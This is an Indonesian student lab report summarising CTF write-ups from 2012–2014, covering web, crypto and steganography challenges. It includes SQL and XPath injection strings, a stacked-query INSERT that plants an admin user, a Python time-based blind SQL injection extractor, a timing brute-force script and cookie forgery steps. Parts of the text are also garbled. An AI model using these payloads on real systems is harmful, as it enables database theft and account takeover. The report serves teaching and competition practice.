TUGAS AKHIR JARINGAN KOMPUTER 100 SOAL C

===

LAPORAN TUGAS AKHIR PRAKTIKUM JARINGAN KOMPUTER “RANGKUMAN WRITE UP CTF TIME”

Disusun untuk Memenuhi Mata Kuliah Praktikum Jaringan Komputer yang Dibimbing oleh Bapak Irawan Dwi Wahyono, S.T., M.Kom

Disusun Oleh:

Katya Lindi Chandrika

140535605307

Ni’matul Rochmaniyah

140535606481

UNIVERSITAS NEGERI MALANG FAKULTAS TEKNIK JURUSAN TEKNIK ELEKTRO PROGRAM STUDI TEKNIK INFORMATIKA November 2016

DEF CON CTF Qualifier 2013 - 3dub 1

source: http://blogs.univ-poitiers.fr/e-laize/2013/06/17/dc21_3dub_1/ 01

URL: http://badmedicine.shallweplayaga.me:8042

Ketika text field username diberi input phoenix maka halaman web akan menampilkan pesan success! logged in as phoenix the key is only for the admin

Ketika text field username diberi input admin maka halaman web menampilkan pesan admin login disabled

Langkah pertama dilakukan dengan menginspeksi header HTTP

POST /login HTTP/1.1 Host: badmedicine.shallweplayaga.me Content­Type: application/x­www­form­urlencoded Content­Length: 12

username=CTF ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ HTTP/1.1 303 See Other Date: Mon, 17 Jun 2013 13:44:10 GMT Location: /welcome Set­Cookie: username=2bf80e Transfer­Encoding: chunked Content­Type: text/plain; charset=utf­8

Direktori /login sepertinya mengenkripsi username lalu redirect pada /welcome Jika username adalah “admin”, maka cookie tidak diset

Langkah kedua melakukan percobaan untuk menebak skema enkripsi pada cookie dengan cara memasukkan berbagai username sebagai berikut

09 c8 29 94 af admaa

09 cd 29 94 af

adaaa

09 c8 25 9c af admin0

09 c8 25 94 af

admia

09 c8 25 9c a0 1e admin1

09 c8 25 9c a0 1f

Sehingga didapatkan hasil bahwa tiap karakter username dienkripsi berdasarkan tempatnya dan nilai cookie menghasilkan kode hexadesimal. Baris terakhir pada tabel menunjukkan bahwa nilai cookie dari admin seharusnya adalah 09c8259ca0. Selanjutnya memanggil halaman /welcome menggunakan nilai cookie ini

GET /welcome HTTP/1.1 Host: badmedicine.shallweplayaga.me Cookie: username=09c8259ca0 ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ HTTP/1.1 200 OK Date: Mon, 17 Jun 2013 14:21:55 GMT Transfer­Encoding: chunked Content­Type: text/html; charset=utf­8

f4 <!DOCTYPE html> <html>

<head> <title>badmedicine</title> </head> <body>

<h1>badmedicine</h1> <h2>success!</h2> <p>logged in as admin</p> <p>The key is: who wants oatmeal raisin anyways twumpAdby

</p> </body> </html>

Sehingga didapatkan key: who wants oatmeal raisin anyways twumpAdby

DEF CON CTF Qualifier 2013 - 3dub 2

source: http://www.blue-lotus.net/def-con-ctf-qualifier-2013-3dub-2-writeup/ 02

URL: http://babysfirst.shallweplayaga.me:8041/

Awalnya login menggunakan username: admin' or '1'='1 password: admin' or '1'='1

Berhasil login namun sebagai root namun halaman web tidak menampilkan apa-apa. Melihat dari header, problem ini sepertinya adalah SQLi problem

Dengan query ini a' UNION ALL SELECT sqlite_version() ­­

Dapat dilihat bahwa angka yang merepresentasikan database dibalik halaman web adalah sqlite.

Sehingga masukkan query berikut a' UNION ALL SELECT name from sqlite_master ­­

Halaman web akan menampilkan babysfirst success! logged in as keys

Selanjutnya untuk mendapatkan key gunakan query berikut a' UNION ALL SELECT * from keys ­­

Sehingga didapatkan key: literally online lolling on line WucGesJi

Mozilla CTF 2012 - Spark – Underwater Camouflage

source: http://blog.squareroots.de/en/2012/01/mozillactf-write-up-underwater-

camouflage-250/

Salah satu challenge pada MozillaCTF adalah untuk menentukan bagaimana Password Recovery Token digenerate.

“There’s something fishy (mencurigakan) about the generation of recovery token. Find out how to generate them for other accounts!”

Token dapat dilihat langsung setelah logging in dan melihat detail user. Untuk mengumpulkan informasi bagaimana algoritma generate ini, dibuatlah tiga akun dan melihat perbedaan dari tiap token yang dihasilkan.

sqrts1;sqrts@mailinator.com;NR0TE0lgSiwIAhBOEhEOUk0RCgwHBAARAGAFCA0JSQcPVB8eTwoBTQAYFRwHYUo= sqrts2;sqrts1@mailinator.com;NR0TE0kRZyAABxVJHQQVTxFcBg4ZBgMXB1NZKQkESQUHThEYDhtAQxwEFBkGVVQ= sqrts3;sqrts2@mailinator.com;NR0TE0kSZyAABxVJHQQVTxFcBg4ZBgMXB1NaKQkESQUHThEYDhtAQxwEFBkGVVQ=

Dapat dilihat perbedaan yang jelas antara user pertama dan user kedua, namun hanya sedikit perbedaan dari user kedua dan ketiga. Melihat dari token yang telah tergenerate, ada perbedaan pada byte ke-8. Perbedaan diantara sqrts1 dan sqrts2 sangat jelas, diantara sqrts2 dan sqrts3 hanya satu bit. Karena perbedaan inilah, dipercayai bahwa alamat e-mail digunakan sebagai input untuk mengenerate token dan bukan karena username.

Diketahui bahwa base64 menyandikan 6 bytes sedangkan base256 menyandikan 8 bytes. Sehingga digunakanlah 8 bytes pertama dari token dan 6 bytes dari alamat e-mail. Melihat dari hasil, dimungkinkan bahwa dilakukan enkripsi XOR.

Sehingga dilakukanlah pengecekan XOR print xor_crypt_string(base64.b64decode("NR0TE0kS"), "sqrts2")

Yang menghasilkan Flag:

Hasil menunjukkan bahwa token terbentuk dari enkripsi XOR. Tetapi, alamat e-mail yang telah didaftarkan sebelumnya hanya memiliki 21 karakter, padahal base64 menghasilkan token sepanjang

47 karakter. Sehingga dibuatlah alamat email yang panjang, kemudian mendaftarkan e-mail tersebut. wearelookingforreallylongxorkeysinthischallenge@mailinator.com

Alamat email diatas menghasilkan token MQkAFV9MSCIKBxdHFQoTUgYTCQ0NGR0LFFgHGw8AWRoHTgQECBoNSBIFCw0aRkI=

Ambil 47 karakter pertama dari alamat e-mail dan token base64 yang telah disandikan dan melakukan operasi XOR akan menghasilkan flag Many sea creatures hide in plain sight!

VOLGA CTF 2014 Quals - Web 100

source: http://ctfwriteups.blogspot.co.id/2014/03/volga-ctf-2014-quals-web-100.html 04

URL: http://tasks.2014.volgactf.ru:28101/

Langkah pertama dilakukan aksi login

Melihat dari hasil, problem ini berkaitan tentang php session id. Terdapat sebuah komentar pada source page html yang mengatakan help.php, sehingga dilakukan load halaman tersebut

Berikut ini adalah hasil yang ditampilkan browser. Pada text field link terdapat link dengan variabel PHPSESSID.

Selanjutnya meload alamat tersebut ketika logged in dan menekan tombol submit. Dengan mereload halaman logged in tampil flag Easy_task_on_Session_Fixation

ASIS Quals 2014 – Crypto Random Image

source: http://blogs.univ-poitiers.fr/e-laize/2014/05/10/asis-2014-randomimage/

URL: http://asis-ctf.ir/challenges/ Folder memiliki 2 file $ tar xvfJ crypto_150_8f3fd5d2bacd408904b8406c19183c23

x color_crypto.py x enc.png

color_crypto.py adalah source code algoritma enkrpsi file PNG menggunakan bahasa pemrograman Python.

#!/usr/bin/env python

import Image import random

def get_color(x, y, r): n = (pow(x, 3) + pow(y, 3)) ^ r return (n ^ ((n >> 8) << 8 ))

flag_img = Image.open("flag.png") im = flag_img.load() r = random.randint(1, pow(2, 256)) print flag_img.size

enc_img = Image.new(flag_img.mode, flag_img.size) enpix = enc_img.load()

for x in range(flag_img.size[0]): for y in range(flag_img.size[1]): t = random.randint(1, pow(2, 256)) % 250 enpix[x,y] = t

for x in range(flag_img.size[0]): for y in range(flag_img.size[1]): if im[x,y] < 250 :

s = get_color(x, y, r) enpix[x,y] = s

enc_img.save('enc' + '.png')

enc.png adalah gambar grayscale 8-bit

Analisis algoritma Skema algoritma bergantung pada grayscale threshold. Pada dasarnya dalam gambar original:

 IF level pixel gray >= 250 THEN dianggap sebagai pixel terang  IF level pixel gray < 250 THEN dianggap sebagai pixel gelap

Statement tersebut menyandikan gambar  Pixel terang akan disubstitusikan dengan nilai random random.randint(1, pow(2, 256)) % 250  Pixel gelap akan dihitung menggunakan fungsi get_color(x, y, r) , dari perhitungan

koordinat dan nilai besar konstan r = random.randint(1, pow(2, 256)) : koordinat dan nilai besar konstan r = random.randint(1, pow(2, 256)) :

Kelemahan Kelemahan dari perhitungan di atas adalah tiap pixel dengan koordinat x dan y dikenal sebagai nilai konstan r.

1. Tiap nilai pixel dari gambar yang telah disandikan di XOR dengan nilai ( x 3 +y 3 )

2. Sehingga byte yang kurang penting dari r adalah nilai yang paling sering terjadi

3. Akhirnya  Jika sebuah pixel dari gambar yang telah disandikan XOR ( x 3 +y 3 ) = nilai byte yang kurang penting dari r, maka pixel dari gambar original adalah gelap atau hitam  Atau pixel dari gambar original adalah terang atau putih Mungkin ada beberapa pixel yang dianggap gelak ketika mereka cerah karena nilai random

namun secara statistik mereka akan sedikit

Dekoder menggunakan bahasa pemrograman Python

import Image

enc_img = Image.open('enc.png') enc_pix = enc_img.load()

# 1. XOR all pixel values with corresponding (x**3 + y**3) pow_pix = [(enc_pix[x,y] ^ (x**3 + y**3)) & 0xff

for x in range(enc_img.size[0]) for y in range(enc_img.size[1])]

# 2. r_LSbyte = most frequently occurring byte r_LSbyte = max([b for b in range(0x100)], key = pow_pix.count)

flag_img = Image.new(enc_img.mode, enc_img.size) flag_pix = flag_img.load()

for x in range(enc_img.size[0]): for y in range(enc_img.size[1]): if ((enc_pix[x, y] ^ (x**3 + y**3)) & 0xff == r_LSbyte): flag_pix[x, y] = 0

# original pixel was dark

else: flag_pix[x, y] = 255

# original pixel was bright

flag_img.save('flag.png')

Setelah program dijalankan dan mengakses gabar enc.png maka hasil flag yang didapat dari PNG tersebut (dengan byte kurang dari r = 0x3d) adalah ASIS_af4e8dcbbcdcef44fd3ecdbc6e9695d4

ASIS Quals 2014 – Web Hidden Flag

source: http://blogs.univ-poitiers.fr/e-laize/2014/05/11/asis-2014-hiddenflag/ 06

URL: http://asis-ctf.ir/challenges/ Untuk menyelesaikan problem ini, diharuskan menemukan flag tersembuyi. Pada dasarnya, untuk

mencari flag harus melihat secara detail pada halaman website. Satu cara yang bagus dan mudah adalah dump paket jaringan dari halaman web dan mencari beberapa kata pilihan. Untuk menggunakan cara ini, tentu saja harus menonaktifkan pengkodeab gzip/deflate pada browser untuk melihat html polos. Kemudian dengan menggunakan tcpdump sederhana dalam bentuk ASCII dan grep akan menampilkan flag sementara

$ tcpdump ­A ­s 16384 host asis­ctf.ir | grep ­i 'asis_\|flag'

... X­Flag: ASIS_b6b?244608c2?c2e869cb56?67b64?b1 ...

Terlihat seperti flag yang valid, diambil dari header respon HTTP dari website CTF. Setelah itu mencari kemungkinan dari tanda ?

Menemukan flag yang tepat Submission board ASIS memiliki fungsionalitas yang menarik, yang memeriksa flag sebelum

mengirimnya pada website asis-ctf.ir

<script src="/static/js/sha256.js"></script> <script> $(document).on('hidden.bs.modal', function (e) {

e.preventDefault(); $(e.target).removeData('bs.modal');

}); var i=0;

var result=['Please try again!', 'Try harder!', 'Your answer is not correct!', 'The submitted flag is not correct!', 'False flag!', 'Wrong answer!', 'Sorry!']; var final_result="Do you want to hack me?";

$('#flag_submission').submit(function(e){ e.preventDefault(); var shaObj = new jsSHA(document.forms["flag_submission"]["id_flag"].value, "TEXT"); var hash = shaObj.getHash("SHA­256", "HEX"); var shaObj2 = new jsSHA(hash, "TEXT"); var hash2 = shaObj2.getHash("SHA­256", "HEX"); if (document.forms["flag_submission"]["check"].value !== hash2) {

if ($("#id_flag").next().length == 0){ $('<div class="alert alert­danger" id="answer" ></div>').insertAfter('#id_flag'); } if (i++>6){

$('#answer').removeClass('alert­danger').addClass('alert'); $('#answer').text(final_result);

} else $('#answer').text(result[Math.floor(Math.random() * 7)]); return false;

$.ajax({ type: "POST", url: "/challenges/22/", data: $('form').serialize(), success: function(msg){

$("#ModalContainer").html(msg)

$("#modal­dialog").modal('hide'); }, error: function(){

alert("failure"); } }); }); </script>

Sehingga flag yang telah dikirim dilakukan hash sebanyak dua kali menggunakan SHA-256 dan hasilnya dibandingkan dengan form check, dimana pada problem ini adalah:

<input id="id_check" name="check" value="61e18627ead3caaf56c89140e11533491ea3cc7b405d3e4d95bba333860c0acc" type="hidden">

Jadi, dilakukanlah bruteforce untuk 4 karakter yang belum diketahui dengan menggunakan script di bawah ini

import string from hashlib import sha256

check = '61e18627ead3caaf56c89140e11533491ea3cc7b405d3e4d95bba333860c0acc' for h1 in string.hexdigits:

for h2 in string.hexdigits: for h3 in string.hexdigits: for h4 in string.hexdigits: FLAG = 'ASIS_b6b'+h1+'244608c2'+h2+'c2e869cb56'+h3+'67b64'+h4+'b1' if sha256(sha256(FLAG).hexdigest()).hexdigest() == check:

print 'Found flag:', FLAG break

Sehingga ditemukan flag ASIS_b6b9244608c2fc2e869cb56067b64bb1

ASIS 2014 final - PTOT

source: http://blogs.univ-poitiers.fr/e-laize/2014/10/13/asis-2014-ptot/ 07

URL: https://asis-ctf.ir/tasks/PTOT_1d23c8694e5cf6727b9ed21285a0d61f

Deskripsi Temukan flag pada image (PTOT_1d23c8694e5cf6727b9ed21285a0d61f) Hal pertama yang harus dilakukan adalah menemukan gambar apakah yang diberikan

Dengan menggunakan google image akan ditemukan beberapa link menarik seperti ini sebagai contoh http://www.voiceonapage.com/ProjectsTypography/Typeface%20Poster/PTOT.pdf

Jadi, PTOT adalah singkatan dari Periodic Table of Typefaces. Dapat diperhatikan pada gambar beberapa font tidak pada tempatnya, dan beberapa muncul 2 atau 3 kali. Sehingga dibuatlah tabel seperti berikut agar mengetahui perbedaan (original rank --> crypto rank | crypto symbol)

Ada 45 perbedaan dimana satu bit lebih panjang dari flag ‘ASIS_md5()’ biasanya memiliki panjang

37 karakter. Setelah beberapa kali percobaan, dapat dilihat atau perhatikan bahwa jika kita menggabungkan semua nomor kemudian mengkonversinya dengan nilai hexa dan menyandikan 37 karakter. Setelah beberapa kali percobaan, dapat dilihat atau perhatikan bahwa jika kita menggabungkan semua nomor kemudian mengkonversinya dengan nilai hexa dan menyandikan

H=format(324878083202626694117443567177148322190861294622618211941523751741739958462509854242915, 'x') print H.decode("hex")

>>> ?;??d?hI<q"Cv?f?%?,??/¦38???ca808c

Setelah itu mengira-ngira dimanakah letak byte yang hilang, dapat diperhatikan pada tabel perbedaan dimana terdapat tiga satu-digit nomor. Dengan menambahkan 0 pada angka-angka berikut (kecuali yang pertama untuk menghindari konversi oktal pada bahasa pemrograman python), nilai hex akan memberikan string dengan panjang 37 karakter yang merupakan final flag.

H=format(3248780832026260694117443567177148322019086129462261821194152375174173995846250985424291 5, 'x') print H.decode("hex")

>>> ASIS_c9a1cd21db5d38923562fccabbca808c

Final flag ASIS_c9a1cd21db5d38923562fccabbca808c

BackdoorCTF 2014 - Web 10

source: http://ctfwriteups.blogspot.co.id/2014/03/backdoor-ctf-2014-web-10.html 08

Pertanyaan: H4x0r adalah seseorang yang penasaran. Ia biasanya melihat secara detail. H4x0r berhasil

menemukan flag pada tingkat ini. Bisakah kamu? Melihat pada header HTTP maka akan terlihat flag

Flag: 28b3324be8b003ee7e1d0d153fad3c32

ASIS CTF 2014 RECON - Fact or Real

source: http://ctfwriteups.blogspot.co.id/2014/10/asis-ctf-2014-recon-fact-or-real.html 09

Hal pertama yang dilakukan adalah mengecek twitter handle dari ASIS kemudian ditemukan bahwa biasanya orang yang bernama factoreal adalah orang utama pada hosting asis-ctf. Ketika dilakukan pengecekan pada foto twitternya, terdapat clue atau hint “fact or real” dan motto pada gambar: “NO+$=YES”

Flag adalah ASIS_md5(NO+$=YES) Final flag = ASIS_d25b9c2f1c29e49e81e8fdfaf4d16fc6

ASIS CTF 2013 - login

source: http://www.blue-lotus.net/asis-ctf-finals-2013-login/ 10

URL: http://blog.deadcat.me/writeup/2013/09/01/asis-ctf-finals-2013-login/ Deskripsi: Description

Hint: $2y$10$HXDsGCYFW5ajuzYO5qcyfOygl5r27BQB5DkL5ZfgoTfPSRMhlUAnG

Setelah membuka URL di atas ditampilkan sebuah form login. Ketika membicarakan form login maka hal pertama yang ada pada benak adalah SQL injection.

Setelah beberapa kali testing, akhirnya ditemukan injection time-based pada field username menggunakan

1' AND BENCHMARK(5000000,MD5(0x123)) AND ''='

Hal ini dapat diselesaikan dengan menggunakan sqlmap namun cara ini terlalu lama dan menampilkan beberapa kesalahan.

Dengan menggunakan script bahasa pemrograan Python untuk menyelesaikan problem, lalu menemukan beberapa informasi yang berharga. Ada tiga database yaitu

information_schema sqli_db test

Ada database yang sangat mencurigakan yaitu sqli_db Didalam database tersebut hanya terdapat sebuah tabel dengan nama users Tabel users memiliki empat field yaitu user_id

user_name user_email user_password_hash

Awalnya, dilakukan pengambilan data dari tabel tersebut namun tidak ditampilkan apa-apa, namun beberapa waktu kemudian didapatkan sebuah string dari field user_password_hash

$2y$10$gyI0vxnE3ZncmdLNGVmwTew/aPwBZPY4cEMCRENAjN4?0l8iu9O5R6iW

Dilakukan pencarian “$2y$10” dengan menggunakan google, dapat diketahui bahwa string tersebut adalah head dari metode enkripsi blowfish hash PHP, namun kelihatannya tidak bisa mendapatkan nilai asli dari string tersebut.

Hint: $2y$10$HXDsGCYFW5ajuzYO5qcyfOygl5r27BQB5DkL5ZfgoTfPSRMhlUAnG

Pada waktu itu, admin memberikan hint pada problem ini ';insert into users values (333,'hqd','1','1@1.com');select '

Pada waktu yang sama, tiba-tiba isi dari tabel user menghilang. Karena hal tersebut maka dilakukan percobaan menggunakan query INSERT

';insert into users values (333,'hqd','1','1@1.com');select '

Dan akhirnya berhasil. Dengan sangat mudah, lakukan penambahan data hash dari password. Ada script PHP yang dapat melakukan hal ini

';insert into users values (333,'hqd','$2y$10$YTNlM2RiNmFiODgzZGM2YuYqP7NHnuZ31TyucetPJkODqia/XH5KC','1@1. com');select '

#this is the blowfish hash value of 'admin'

Lalu kembali login menggunakan username: hqd dan password: admin kemudian muncul flag

ASIS_9689926853009CAAD5BF824863077DC9

Source code yang digunakan f.py

from httplib import HTTPConnection

HTTPConnection._http_vsn_str = 'HTTP/1.0'

def post_payload( payload ): conn = HTTPConnection( '78.38.193.187' ) conn.putrequest( 'POST', '/', skip_accept_encoding=True, skip_host=True ) conn.putheader( 'Content­Type', 'application/x­www­form­urlencoded' ) conn.putheader( 'Content­Length', str(len(payload)) ) conn.endheaders( message_body=payload ) resp = conn.getresponse() resp.read()

from urllib import urlencode from time import time

def get_bool( expression ): start = time() post_payload( urlencode( dict(

login = '', user_password = ' ', user_name = "'OR if(%s,benchmark(1500000,md5(0)),0) AND''='" % expression,

))) end = time() print 'Time:', end­start return end­start>0.95

def get_bit( expression ): return '1' if get_bool( expression ) else '0'

from itertools import count

def get_string( expression ): result = '' for i in count( start=1 ):

char = '' for j in range(8)[::­1]:

print 'Byte %d, Bit %d,' % (i,j), bit = get_bit( 'ascii(substr(%s,%d,1))>>%d&1' % ( expression, i, j ) ) print bit char += bit

char = int( char, 2 ) if char == 0: break result += chr(char)

return result

# def get_query( expression ):

# print get_string( 'database()' ) print get_string( '(SELECT IFNULL(CAST(table_name AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x73716c695f6462 LIMIT 0,1)' ) # print get_string( '(SELECT IFNULL(CAST(table_name AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=\'information_shema\' LIMIT 0,1)' ) # print get_string( '(SELECT IFNULL(CAST(COLUMN_NAME AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=\'users\' LIMIT 5,1)' ) # print get_string( '(SELECT CAST(COUNT(*) AS CHAR) FROM users)' ) # print get_string( '@@datadir' ) # print get_string( 'user()' ) # print get_string( 'version()' )

ASIS Quals 2014 - Image

source: http://blog.rentjong.net/2014/05/asis-quals-2014-image-trivia-50.html 11

URL: http://asis-ctf.ir/tasks/joy/trivia_50_88da3c57a7b4489036943d35d551cab2 Challenge ini sebenarnya cukup mudah dan terlihat dari poin yang diberikan (50) :), hal yang

membuat sedikit frustasi adalah karena flag yang di dapatkan tetap harus di "bruteforce" untuk mendapatkan flag yang tepat, dan ternyata ada hint: yang harus menghubungi panitia terkait flag yang tepat.

Seluruh challenge umumnya merupakan file yang di kompresi 2 kali 7z (xz) dan tar, kemudian untuk challenge ini didapatkan file sbb:

Bagi para gamer atau yang merupakan penggemar nintendo pasti akan langsung mengetahui bahwa ini adalah file game untuk nintendo, dan untuk OSX terdapat free emulator yang dapat di pergunakan (salah satunya Nestopia)

Untuk mendapatkan flag-pun kita hanya perlu memainkan game tersebut pada mode "flag" dan apabila selesai stage 1 akan didapatkan flag

Dan yang membuat cukup menghabiskan waktu adalah bahwa flag = 8BIT_RULEZ dan bukan 8 BIT RULES.

ASIS CTF Quals 2014 - Spy Paper

source: http://quangntenemy.blogspot.co.id/2014/05/asis-ctf-quals-2014.html 12

URL: http://asis-ctf.ir/tasks/stego/steg_100_282d645e3be22eda015aeb255a0b86f5 Deskripsi Download file pada URL di atas kemudian kalkulasi hasil dengan metode MD5 dan

menambahkannya setelah “ASIS_”

Gambar yang didapatkan dari download sangat besar dan mudah untuk melihat setia detail. Namun sayangnya, ditemukan keanehan dan keganjalan dalam gambar biru ini dan titik-titik yang mengingatkan pada punched tape dimana sangat dekat dengan solusi akhir. Dan akhirnya dapat ditemukan parity bits dan decrypt pada bagian kedua, namun sayangnya tidak dapat ditemukan hal yang penting dan berguna pada bagian pertama.

Setelah itu juga dapat diketahui bahwa gambar ini bisa saja printer steganography dan bagian pertama bisa jadi tanggal dan waktu. Dengan itu didapatkan dekripsi flag: 9/6/19 13:22:44 E4sy_0n3.

ASIS CTF Quals 2014 - White noise

source: http://quangntenemy.blogspot.co.id/2014/05/asis-ctf-quals-2014.html 13

URL: http://asis-ctf.ir/tasks/stego/steg_250_8be7a320b7cbc2696f352cb42e717a0b

Analisa histogram menunjukkan bahwa nilai pada channel green dan blue terbagi rata, dan alasan dibalik semua ini adalah digukan sebagi koordinat untuk mengatur ulang pixel.

Namun, red channel hanya memiliki 1 nilai yaitu 126 sehingga akan sia-sia jika mengatur ulang seluruh gambar. Akan didapatkan gambar persegi merah saja sehingga dilakukan pengaturan dengan menggunakan 30 baris pertama dari gambar untuk penataan ulang dan akhirnya akan didapatkan flag

Flag: ASIS_329afbd5ba6fc8b1dfl5e886adbdcc25

BackdoorCTF 2014 - Web 30

14

source: http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-web-

30-eng.html

URL: http://backdoor.cognizance.org.in/problems/web30/ Langkah pertama yang dilakukan adalah masuk pada secure zone http://backdoor.cognizance.org.in/problems/web30/auth.php ?

Dengan begitu server akan merespon “Sorry, you will never get a flag in your life :P Not authorized”

Selanjutnya buka get-request menggunakan development tools pada browser. Sebagai catatan, cookie auth = false telah diset.

Ubah nilai menjadi true kemudia buka halaman secure zone dan akhirnya akan didapatkan flag:

aeba37a3aaffc93567a61d9a67466fdf

BackdoorCTF 2014 - Web 100

source: http://blog.semekh.ir/post/backdoorCTF-2014-web100-1-writeup 15

Tentu saja web server menampilkan file gambar untuk menilainya. Setelah itu melihat request dengan cara mengetikkan

netcat ­lkv 54321 Dan submit link image

http://YOURIP:54321/ Sehingga akan mendapatkan tulisan seperti berikut listening on [any] 54321 ...

connect to [YOURIP] from backdoor.cognizance.org.in [128.199.215.224] 46845 GET / HTTP/1.1 Host: YOURIP:54321 Accept: */* X-Referrer: 92702a9381515494689f5d14f85a83b7.php

Ada sesuatu yang menarik yaitu Referrer. Selanjutnya dicoba untuk mengakses url tersebut yang berisi pesan

By the way, the flag is f556b9a48a3ee914f291f9b98645cb02 Pada komentar HTML

Sehingga flag f556b9a48a3ee914f291f9b98645cb02

BackdoorCTF 2014 - Web100 UnderscoreJS

source: http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-web-

100-2-eng.html

URL: http://backdoor.cognizance.org.in/problems/web100-2/ Format flag: md5_string form menggunakan JSON, template. Diketahui bahwa underscore.js dapat digunakan

sebagai template library. Kode juga telah diberikan. Pertama-tama, buka kode dan cari flag (dapat ditemukan di app.js) if(!process.env.FLAG)

{ console.error("No flag in environment"); process.exit(1); }

Lalu tampilkan hasilnya. Kemudian isi form yang ada di bawah (data = JSON valid, template = single statement seperti di bawah ini)

Tekan tombol Convert kemudian flag akan didapat Flag: 16367694ede9faef0efec36845e18ceb

BackdoorCTF 2014 - Web 200

source: https://scoding.de/backdoorctf-2014-writeup 17

URL: http://backdoor.cognizance.org.in/problems/web200/submit.php

Problem: H4x0r baru-baru ini membuat server baru. Karena malas, dia tidak mensetting servernya dengan baik dan menemukan bahwa severnya agak lambat dan semakin lambat ketika menjalankan query yang panjang. Kepala di perusahaan mencoba untuk mengakses servernya Dia berpikir bahwa server tidak dapat dicrack. Buktikan bahwa ia salah. Format flag = md5_string

Problem ini mencari password untuk halaman login. Di dalam source code, teradapat useleep(20000) dimana dieksekusi ketika huruf yang telah dicek benar. Untuk melakukan bruteforce pada password, ditulislah script yang melemparkan exception jika waktu yang diberikan terlampaui.

#!/usr/bin/env python import urllib2 import string

alpha=string.letters+string.digits url= "http://backdoor.cognizance.org.in/problems/web200/submit.php?key="

time_offset= 0.4 password= ""

for

i in range ( 5 ):

t=time_offset+(i* 0.2 )

for

a in alpha:

test_key=password+a*( 5 - len (password))

try : r=urllib2.urlopen(url+test_key, timeout=t) except :

if len (password)<=i: password+=a print password break

r=urllib2.urlopen(url+password) print r.read()

Dengan cara ini didapatkan password huruf demi huruf

./brute.py Z Z9 Z9A Z9A9 Z9A9x

Dengan passwo ZX9A9x didapatkan flag ee7528e19f87ba00b4b4c721b646a8a2

BackdoorCTF 2014 - Web 250 Yaml

18

source: http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-web-

250-eng.html

URL: http://backdoor.cognizance.org.in/problems/web250-1/ Format flag: md5_string Problem ini mirip dengan problem BackdoorCTF 2014 Web100-2 template library yang digunakan

adalah mustache. Data dan template disimpan pada satu field (data dimulai dan diakhiri dengan tanda --)

Format data adalah yaml, template library adalah mustache. Solusi yang sama {{process.env.FLAG}}, tidak dapat digunakan. Yaml menggunakan data type yang didefinisikan oleh user. Banyak parser yang mensupport type fungsi javascript.

Masukkan data seperti yang ada pada di bawah ini kemudian klik Convert

Flag: fb1f85e4f37eb3bf31141cb1dcce1caf

Sharif University CTF 2014 - Rolling hash

source: https://ctfcrew.org/writeup/73 19

Task:

flag="*********" def RabinKarpRollingHash( str, a, n ): result = 0 l = len(str) for i in range(0, l): result += ord(str[i]) * a ** (l ­ i ­ 1) % n print "result = ", result RabinKarpRollingHash(flag, 256, 10**30)

Output adalah 1317748575983887541099 Apa flagnya?

Solusi: Fungsi hash ini mengambil tiap karakter pada string yang telah diinput kemudian mengkonversinya kedalam tipe data int dan mengalikannya dengan pangkat dari a dan modulo n. Namun melihat dari hash ini

RabinKarpRollingHash(flag, 256, 10**30)

a = 256 dan itu berarti tiap perkalian yang dilakukan dengan a ekuivalen dengan simple left-shifting. Jika input string pendek maka tidak perlu dilakukan perkalian dengan modulo dan mencoba untuk merestore flag dengan menggunakan kode berikut ini

hashed_flag = 1317748575983887541099 result = "" while hashed_flag > 0:

byte = hashed_flag&0xff result += chr(byte) hashed_flag = hashed_flag ­ byte hashed_flag = hashed_flag >> 8

print result[::­1]

Flag: Good Luck

Pwnium CTF 2014 - XWebSite

source: https://ctftime.org/writeup/1160 20

Problem ini adalah kasus tentang injecting sebuah aplikasi web yang rentan. Bukan tentang MySQL melainkan XPATH.

Seseorang dapat melakukan login sebagai admin dengan menuliskan Username: ' or '1' = '1

Password: ' or '1' = '1 Dan kemudian pada field user tuliskan

' or '1' = '1 Dengan ini akan ditampilkan hasil beserta flag yaitu

Pwnium{cf921420dfd44ae4a68a492b3de852a3}

Pwnium CTF 2014 - Find the Owner

21

source: https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-

find-the-owner/

File yang diberikan adalah file dalam format .exe. Admin berkata bahwa “This file harm to your computer”. Sehingga dapat dikatakan bahwa file ini berbahaya untuk komputer dalam arti lain file ini adalah malicious program atau malware. Untuk menyelesaikan problem ini maka digunakan bantuan tool untuk menganalisis apakah program tersebut memang benar malware atau tidak.

Berikut ini langkah-langkah untuk melakukan aktivitas crack:

1. Kunjungi alamat https://anubis.iseclab.org/ untuk online malware analysis tool

2. Kemudan upload file yang telah diberikan

3. Setelah dianalisis maka akan diberikan sebuah file traffic.pcap dan report

4. Observasi report aktivitas iexplore.exe

5. Mendapatkan IP dan alamat port iexplorer.exe – Network Activity From ANUBIS:1028 to 193.95.68.245:81

6. Pwnium{md5sum(ip:port} -> md5sum(193.95.68.245:81) Flag: Pwnium{8d4c5fcc05edb1fcad031f5e264a7358}

Pwnium CTF 2014 - So basic

source: https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-

so-basic

Untuk menyelesaikan problem ini dibutuhkan waktu yang cukup lama dan agak sedikit sulit. Langkah-langkah untuk cracking:

1. Pertama extact Misc75.zip

2. Kemudian obeservasi 40 file yang didapat. Tiap file memiliki ukuran 2 bytes. Nama file ditulis dengan string yang telah disandikan menggunakan md5sums.

3. Setelah itu observasi karakter md5sums dan membandingkan nama file yang diberikan

1. Kemudian mengobservasi untuk angka (beberapa nama file sama dengan angka md5sum)

2. Percobaan observasi dilakukan dengan menggunakan angka 0-39.

3. Hitung angka tersebut dengan menggunakan md5sums

4. Lakukan pengecekan pada tiap nama file

5. Dan pada akhirnya didapatkan urutan dari nama file

